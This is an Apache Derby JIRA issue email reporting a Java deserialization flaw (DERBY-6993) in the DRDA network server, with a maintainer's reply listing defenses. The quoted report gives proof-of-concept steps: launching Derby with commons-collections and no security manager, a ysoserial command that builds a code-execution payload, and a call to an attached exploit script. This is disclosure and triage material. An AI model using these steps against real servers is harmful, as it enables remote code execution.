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https://issues.apache.org/jira/browse/DERBY-6993?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16416552#comment-16416552
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Rick Hillegas commented on DERBY-6993:
--------------------------------------
This is a well-known issue. Defenses against this exploit include:
1) SSL-security on the client connection
2) User-authentication on the database
3) GRANT/REVOKE mediated access controls on the UDT in question.
Can you think of a way to exploit this vulnerability which does not involve the
presence of malicious code on the engine classpath? Thanks.
> Derby Deserialization Vulnerability Leads to RCE
> ------------------------------------------------
>
> Key: DERBY-6993
> URL: https://issues.apache.org/jira/browse/DERBY-6993
> Project: Derby
> Issue Type: Bug
> Affects Versions: 10.14.1.0
> Environment: Windows 10
> Reporter: Ricter Zheng
> Priority: Major
> Attachments: exp.py, image-2018-03-27-11-42-23-176.png
>
>
> In` src\java\drda\org\apache\derby\impl\drda\DRDAConnThread.java
>
> {code:java}
> /** Read a UDT from the stream */
> private Object readUDT() throws DRDAProtocolException
> {
> int length = reader.readNetworkShort(); //protocol control data always
> follows big endian
> if (SanityManager.DEBUG) { trace("===== udt param length is: " + length);
> }
> byte[] bytes = reader.readBytes(length);
>
> try {
> ByteArrayInputStream bais = new ByteArrayInputStream( bytes );
> ObjectInputStream ois = new ObjectInputStream( bais );
> return ois.readObject();
> }
> catch (Exception e)
> {
> markCommunicationsFailure
> ( e,"DRDAConnThread.readUDT()", "", e.getMessage(), "*" );
> return null;
> }
> {code}
> `return ois.readObject();` cause a deserialization vulnerability.
>
>
> Launch derby with a vulnerability Java library and `-noSecuriyManager` options
>
> {code:java}
> "C:\Program Files\Java\jdk1.8.0_144\bin\java.exe" -classpath
> "C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derby.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0
>
> -bin\bin\../lib/derbynet.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derbyclient.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derbytools.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derbyoptionaltools.jar;..\lib\commons-collections.jar"
> org.apache.derby.drda.NetworkServerControl start -noSecurityManager{code}
>
> Generate a Java deserialization payload use ysoserial:
>
> {code:java}
> java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 calc >
> /path/to/exp.py/payload.data{code}
>
> Then run the script in the attachment, will execute `calc`.
> {code:java}
> python exp.py{code}
> !image-2018-03-27-11-42-23-176.png!
>
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